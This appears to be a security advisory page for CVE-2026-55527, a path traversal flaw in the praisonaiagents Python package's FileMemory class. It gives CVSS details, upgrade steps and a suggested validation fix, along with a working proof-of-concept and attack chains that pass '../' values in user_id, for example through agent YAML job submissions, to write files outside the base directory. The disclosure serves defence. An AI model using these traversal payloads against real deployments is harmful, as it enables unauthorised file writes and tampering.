CVE-2026-55527: Praisonaiagents Path Traversal Vulnerability

HIGH
Advisory Identifier: GHSA-gxmw-5f7x-6g22
CVSS 7.1
CWE-73 CWE-22
Published
Advisory Summary

CVE-2026-55527 is a HIGH (CVSS 7.1) path traversal vulnerability (CWE-73: External Control of File Name or Path) affecting Praisonaiagents libraries in the PyPI ecosystem. The issue involves praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `filememory.__init__()` — path traversal to any writable location. Remediation is available by upgrading affected packages to version 1.6.58.

CVE-2026-55527 at a Glance

CVE Identifier CVE-2026-55527
GHSA Identifier GHSA-gxmw-5f7x-6g22
Severity HIGH
CVSS v3.1 Base Score 7.1
CWE Classification CWE-73: External Control of File Name or Path
Affected Product Praisonaiagents
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.1

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-55527

To remediate this vulnerability, upgrade all affected Praisonaiagents dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

praisonaiagents fixed: 1.6.58
pip install praisonaiagents>=1.6.58
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show praisonaiagents

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-55527, inspect your installed packages using pip:

pip show praisonaiagents

Analyze the terminal output to locate any version of Praisonaiagents in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.6.58), your application is affected.

Note: The pip show praisonaiagents command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In Praisonaiagents, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `praisonaiagents/memory/file_memory.py::FileMemory.__init__()` constructs all memory file paths by directly joining the `user_id` parameter to a base path: ```python self.user_path = self.base_path / user_id # LINE 145 — no sanitization ``` No validation or normalization is applied to `user_id` before the path join. An attacker who can supply a `user_id` containing `../` sequences can write arbitrary JSON files (memory content) to **any writable location on the filesystem**. The vulnerability is confirmed **live on the current `main` branch** (`praisonaiagents==1.6.52`) and is **distinct from GHSA-766v-q9x3-g744** (which covered `MultiAgentMonitor` in an example file, not `FileMemory` in the core library). ### Details **Vulnerable code — `praisonaiagents/memory/file_memory.py` lines 139-157:** ```python def __init__( self, user_id: str = "default", base_path: Optional[str] = None, ... ): ... self.user_path = self.base_path / user_id # LINE 145 — NO SANITIZATION self.episodic_path = self.user_path / "episodic" self.user_path.mkdir(parents=True, exist_ok=True) # creates dirs at traversed path self.episodic_path.mkdir(parents=True, exist_ok=True) self.config_file = self.user_path / "config.json" self.short_term_file = self.user_path / "short_term.json" self.long_term_file = self.user_path / "long_term.json" self.entities_file = self.user_path / "entities.json" self.summaries_file = self.user_path / "summaries.json" ``` All five JSON files are written under `user_path`, which is directly derived from the attacker-controlled `user_id`. The written content is valid JSON in the memory item format (configurable user content + metadata). **Comparison with the patched reference — `praisonaiagents/storage/backends.py` (SQLiteBackend):** The sibling `SQLiteBackend` validates its `table_name` with a regex: ```python if not re.match(r'^[a-zA-Z0-9_]+$', table_name): raise ValueError(...) ``` No equivalent validation exists in `FileMemory`. **Attack chains:** *A — Direct Python API (any caller):* ```python from praisonaiagents.memory.file_memory import FileMemory mem = FileMemory(user_id="../../etc/evil") mem.add_short_term("injected content") # Creates /etc/evil/short_term.json (on Linux) # Creates C:\evil\short_term.json (on Windows) ``` *B — Via `Agent` constructor (memory dict):* ```python from praisonaiagents import Agent agent = Agent( name="assistant", memory={"provider": "file", "user_id": "../../etc/evil"}, instructions="You are a helpful assistant.", ) # FileMemory(user_id="../../etc/evil") called at agent init ``` *C — Via agents.yaml / job submission (`agent_yaml` field):* ```yaml # Submitted via POST /jobs with agent_yaml: agents: researcher: memory: provider: file user_id: "../../tmp/evil" role: "Research assistant" goal: "Research topics" ``` `agents_generator.py` passes the `memory.user_id` value to the `Agent` constructor. ### PoC **Environment:** Python 3.9+, `praisonaiagents <= 1.6.52` **Step 1 — Verify path escapes base (no dependencies needed):** ```python from pathlib import Path import tempfile base = Path(tempfile.gettempdir()) / "praisonai" / "memory" user_id = "../../../tmp/evil_escape" user_path = base / user_id try: user_path.resolve().relative_to(base.resolve()) print("SAFE") except ValueError: print("!!PATH ESCAPES BASE!!") print("Writes to:", user_path.resolve()) ``` Output: ``` !!PATH ESCAPES BASE!! Writes to: <TMPDIR>/tmp/evil_escape ``` **Step 2 — Live exploit (files written outside base):** ```python import tempfile, json from pathlib import Path from praisonaiagents.memory.file_memory import FileMemory BASE = Path(tempfile.gettempdir()) / "praisonai_base" / "memory" BASE.mkdir(parents=True, exist_ok=True) TARGET = (BASE / "../../praisonai_path_traversal_proof").resolve() mem = FileMemory(user_id="../../praisonai_path_traversal_proof", base_path=str(BASE)) mem.add_short_term("PROOF_OF_TRAVERSAL: attacker wrote this") mem.add_long_term("SENSITIVE_DATA", importance=0.9) # Verify files appeared OUTSIDE the base directory for fname in ["short_term.json", "long_term.json", "config.json"]: f = TARGET / fname if f.exists(): print(f"WRITTEN: {f}") print(f"Content: {json.loads(f.read_text())[0]['content'] if fname != 'config.json' else '...'}") ``` **Observed output (run on current `main`):** ``` WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/short_term.json Content: PROOF_OF_TRAVERSAL: attacker wrote this WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/long_term.json Content: SENSITIVE_DATA WRITTEN: <TMPDIR>/praisonai_path_traversal_proof/config.json ``` ### Impact **What kind of vulnerability:** Arbitrary file write via path traversal. Any JSON content can be written to any filesystem path writable by the process. **Who is impacted:** - Any application that creates `FileMemory` instances with user-controlled `user_id` - Any PraisonAI deployment where users can supply the `user_id` parameter directly or indirectly (via `Agent(memory={"user_id": ...})`, agents.yaml, or jobs API) **High-impact scenarios:** 1. **Overwrite Python package files**: On systems where Python packages are stored in a world-writable or user-writable path, JSON files can be written over package files, causing import failures or (in edge cases) execution if a JSON parser is swapped for a Python parser. 2. **Overwrite web server / app config**: Write `config.json` or `settings.json` to an app's configuration directory, potentially modifying runtime behavior. 3. **Cron / startup persistence**: Write JSON files to `/etc/cron.d/` paths (Linux) or `%APPDATA%\Startup\` (Windows) directories that might be interpreted by monitoring systems. 4. **Denial of Service**: Write large JSON memory files into system directories, filling disk space or overwriting critical config files. 5. **Multi-tenant deployments**: In a multi-tenant PraisonAI deployment where users can create agents with custom memory configs, one user can read/overwrite another user's memory files by traversing to their path. **Distinction from GHSA-766v-q9x3-g744:** | | GHSA-766v-q9x3-g744 | This finding | |---|---|---| | File | `examples/context/12_multi_agent_context.py` (example) | `praisonaiagents/memory/file_memory.py` (core library) | | Class | `MultiAgentMonitor` | `FileMemory` | | Fixed in | `praisonaiagents >= 1.5.115` | **Not patched** (affects 1.6.52) | ``` --- ## Remediation Suggestion (for maintainers) Validate and resolve `user_id` before using it in path construction: ```python def __init__(self, user_id: str = "default", base_path=None, ...): ... # ADDED: sanitize user_id import re if not re.match(r'^[a-zA-Z0-9_\-\.]+$', user_id): raise ValueError( f"user_id '{user_id}' contains invalid characters. " f"Only alphanumeric characters, hyphens, underscores, and dots are allowed." ) self.user_path = self.base_path / user_id # ADDED: verify the resolved path is within base (defense-in-depth) resolved = self.user_path.resolve() base_resolved = self.base_path.resolve() try: resolved.relative_to(base_resolved) except ValueError: raise ValueError( f"user_id '{user_id}' would write outside the base memory directory." ) ``` The same pattern should be applied to `base_path` parameter.

CVE-2026-55527 Affected Praisonaiagents Versions

1 component(s)
Fixed Versions:
1.6.58
Product / Package Ecosystem Affected Versions Fixed Version
praisonaiagents
PyPI
< 1.6.58
1.6.58

References

Frequently Asked Questions

What is CVE-2026-55527?
CVE-2026-55527 is a security vulnerability in Praisonaiagents involving praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location under CWE-73: External Control of File Name or Path.
Which Praisonaiagents versions are affected?
Affected versions include releases prior to 1.6.58 across affected packages: praisonaiagents.
What version fixes CVE-2026-55527?
Upgrading to 1.6.58 (or the latest patched release for your respective branch) resolves the vulnerability.
Is praisonaiagents affected?
Yes, praisonaiagents is affected in releases prior to 1.6.58. Upgrade your dependency to 1.6.58 or later.
What is the CVSS score of CVE-2026-55527?
CVE-2026-55527 has a CVSS v3.1 base score of 7.1 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L.
What CWE is associated with CVE-2026-55527?
CVE-2026-55527 is classified under CWE-73: External Control of File Name or Path (The product allows user input to control or influence paths or file names that are used in filesystem operations.).
How can I check PyPI dependencies for CVE-2026-55527?
Run the dependency tree command: 'pip show praisonaiagents'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-gxmw-5f7x-6g22",
  "modified" : "2026-08-25T15:09:55Z",
  "published" : "2026-08-25T15:09:54Z",
  "aliases" : [ "CVE-2026-55527" ],
  "summary" : "praisonaiagents vulnerable to arbitrary file write via unsanitized `user_id` in `FileMemory.__init__()` — path traversal to any writable location",
  "details" : "### Summary\n\n`praisonaiagents/memory/file_memory.py::FileMemory.__init__()` constructs all\nmemory file paths by directly joining the `user_id` parameter to a base path:\n\n```python\nself.user_path = self.base_path / user_id      # LINE 145 — no sanitization\n```\n\nNo validation or normalization is applied to `user_id` before the path join.\nAn attacker who can supply a `user_id` containing `../` sequences can write\narbitrary JSON files (memory content) to **any writable location on the filesystem**.\n\nThe vulnerability is confirmed **live on the current `main` branch**\n(`praisonaiagents==1.6.52`) and is **distinct from GHSA-766v-q9x3-g744**\n(which covered `MultiAgentMonitor` in an example file, not `FileMemory` in the\ncore library).\n\n### Details\n\n**Vulnerable code — `praisonaiagents/memory/file_memory.py` lines 139-157:**\n\n```python\ndef __init__(\n    self,\n    user_id: str = \"default\",\n    base_path: Optional[str] = None,\n    ...\n):\n    ...\n    self.user_path = self.base_path / user_id          # LINE 145 — NO SANITIZATION\n    self.episodic_path = self.user_path / \"episodic\"\n\n    self.user_path.mkdir(parents=True, exist_ok=True)  # creates dirs at traversed path\n    self.episodic_path.mkdir(parents=True, exist_ok=True)\n\n    self.config_file      = self.user_path / \"config.json\"\n    self.short_term_file  = self.user_path / \"short_term.json\"\n    self.long_term_file   = self.user_path / \"long_term.json\"\n    self.entities_file    = self.user_path / \"entities.json\"\n    self.summaries_file   = self.user_path / \"summaries.json\"\n```\n\nAll five JSON files are written under `user_path`, which is directly derived from\nthe attacker-controlled `user_id`. The written content is valid JSON in the memory\nitem format (configurable user content + metadata).\n\n**Comparison with the patched reference — `praisonaiagents/storage/backends.py`\n(SQLiteBackend):**\n\nThe sibling `SQLiteBackend` validates its `table_name` with a regex:\n```python\nif not re.match(r'^[a-zA-Z0-9_]+$', table_name):\n    raise ValueError(...)\n```\nNo equivalent validation exists in `FileMemory`.\n\n**Attack chains:**\n\n*A — Direct Python API (any caller):*\n```python\nfrom praisonaiagents.memory.file_memory import FileMemory\n\nmem = FileMemory(user_id=\"../../etc/evil\")\nmem.add_short_term(\"injected content\")\n# Creates /etc/evil/short_term.json  (on Linux)\n# Creates C:\\evil\\short_term.json    (on Windows)\n```\n\n*B — Via `Agent` constructor (memory dict):*\n```python\nfrom praisonaiagents import Agent\n\nagent = Agent(\n    name=\"assistant\",\n    memory={\"provider\": \"file\", \"user_id\": \"../../etc/evil\"},\n    instructions=\"You are a helpful assistant.\",\n)\n# FileMemory(user_id=\"../../etc/evil\") called at agent init\n```\n\n*C — Via agents.yaml / job submission (`agent_yaml` field):*\n```yaml\n# Submitted via POST /jobs with agent_yaml:\nagents:\n  researcher:\n    memory:\n      provider: file\n      user_id: \"../../tmp/evil\"\n    role: \"Research assistant\"\n    goal: \"Research topics\"\n```\n`agents_generator.py` passes the `memory.user_id` value to the `Agent` constructor.\n\n### PoC\n\n**Environment:** Python 3.9+, `praisonaiagents <= 1.6.52`\n\n**Step 1 — Verify path escapes base (no dependencies needed):**\n\n```python\nfrom pathlib import Path\nimport tempfile\n\nbase = Path(tempfile.gettempdir()) / \"praisonai\" / \"memory\"\nuser_id = \"../../../tmp/evil_escape\"\nuser_path = base / user_id\n\ntry:\n    user_path.resolve().relative_to(base.resolve())\n    print(\"SAFE\")\nexcept ValueError:\n    print(\"!!PATH ESCAPES BASE!!\")\n    print(\"Writes to:\", user_path.resolve())\n```\n\nOutput:\n```\n!!PATH ESCAPES BASE!!\nWrites to: <TMPDIR>/tmp/evil_escape\n```\n\n**Step 2 — Live exploit (files written outside base):**\n\n```python\nimport tempfile, json\nfrom pathlib import Path\nfrom praisonaiagents.memory.file_memory import FileMemory\n\nBASE = Path(tempfile.gettempdir()) / \"praisonai_base\" / \"memory\"\nBASE.mkdir(parents=True, exist_ok=True)\n\nTARGET = (BASE / \"../../praisonai_path_traversal_proof\").resolve()\n\nmem = FileMemory(user_id=\"../../praisonai_path_traversal_proof\", base_path=str(BASE))\nmem.add_short_term(\"PROOF_OF_TRAVERSAL: attacker wrote this\")\nmem.add_long_term(\"SENSITIVE_DATA\", importance=0.9)\n\n# Verify files appeared OUTSIDE the base directory\nfor fname in [\"short_term.json\", \"long_term.json\", \"config.json\"]:\n    f = TARGET / fname\n    if f.exists():\n        print(f\"WRITTEN: {f}\")\n        print(f\"Content: {json.loads(f.read_text())[0]['content'] if fname != 'config.json' else '...'}\")\n```\n\n**Observed output (run on current `main`):**\n```\nWRITTEN: <TMPDIR>/praisonai_path_traversal_proof/short_term.json\nContent: PROOF_OF_TRAVERSAL: attacker wrote this\nWRITTEN: <TMPDIR>/praisonai_path_traversal_proof/long_term.json\nContent: SENSITIVE_DATA\nWRITTEN: <TMPDIR>/praisonai_path_traversal_proof/config.json\n```\n\n### Impact\n\n**What kind of vulnerability:** Arbitrary file write via path traversal.\nAny JSON content can be written to any filesystem path writable by the process.\n\n**Who is impacted:**\n\n- Any application that creates `FileMemory` instances with user-controlled `user_id`\n- Any PraisonAI deployment where users can supply the `user_id` parameter directly\n  or indirectly (via `Agent(memory={\"user_id\": ...})`, agents.yaml, or jobs API)\n\n**High-impact scenarios:**\n\n1. **Overwrite Python package files**: On systems where Python packages are stored\n   in a world-writable or user-writable path, JSON files can be written over package\n   files, causing import failures or (in edge cases) execution if a JSON parser is\n   swapped for a Python parser.\n\n2. **Overwrite web server / app config**: Write `config.json` or `settings.json`\n   to an app's configuration directory, potentially modifying runtime behavior.\n\n3. **Cron / startup persistence**: Write JSON files to `/etc/cron.d/` paths\n   (Linux) or `%APPDATA%\\Startup\\` (Windows) directories that might be interpreted\n   by monitoring systems.\n\n4. **Denial of Service**: Write large JSON memory files into system directories,\n   filling disk space or overwriting critical config files.\n\n5. **Multi-tenant deployments**: In a multi-tenant PraisonAI deployment where\n   users can create agents with custom memory configs, one user can read/overwrite\n   another user's memory files by traversing to their path.\n\n**Distinction from GHSA-766v-q9x3-g744:**\n\n| | GHSA-766v-q9x3-g744 | This finding |\n|---|---|---|\n| File | `examples/context/12_multi_agent_context.py` (example) | `praisonaiagents/memory/file_memory.py` (core library) |\n| Class | `MultiAgentMonitor` | `FileMemory` |\n| Fixed in | `praisonaiagents >= 1.5.115` | **Not patched** (affects 1.6.52) |\n```\n\n---\n\n## Remediation Suggestion (for maintainers)\n\nValidate and resolve `user_id` before using it in path construction:\n\n```python\ndef __init__(self, user_id: str = \"default\", base_path=None, ...):\n    ...\n    # ADDED: sanitize user_id\n    import re\n    if not re.match(r'^[a-zA-Z0-9_\\-\\.]+$', user_id):\n        raise ValueError(\n            f\"user_id '{user_id}' contains invalid characters. \"\n            f\"Only alphanumeric characters, hyphens, underscores, and dots are allowed.\"\n        )\n\n    self.user_path = self.base_path / user_id\n\n    # ADDED: verify the resolved path is within base (defense-in-depth)\n    resolved = self.user_path.resolve()\n    base_resolved = self.base_path.resolve()\n    try:\n        resolved.relative_to(base_resolved)\n    except ValueError:\n        raise ValueError(\n            f\"user_id '{user_id}' would write outside the base memory directory.\"\n        )\n```\n\nThe same pattern should be applied to `base_path` parameter.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "praisonaiagents"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.6.58"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gxmw-5f7x-6g22"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/MervinPraison/PraisonAI"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-73" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-25T15:09:54Z",
    "nvd_published_at" : null
  }
}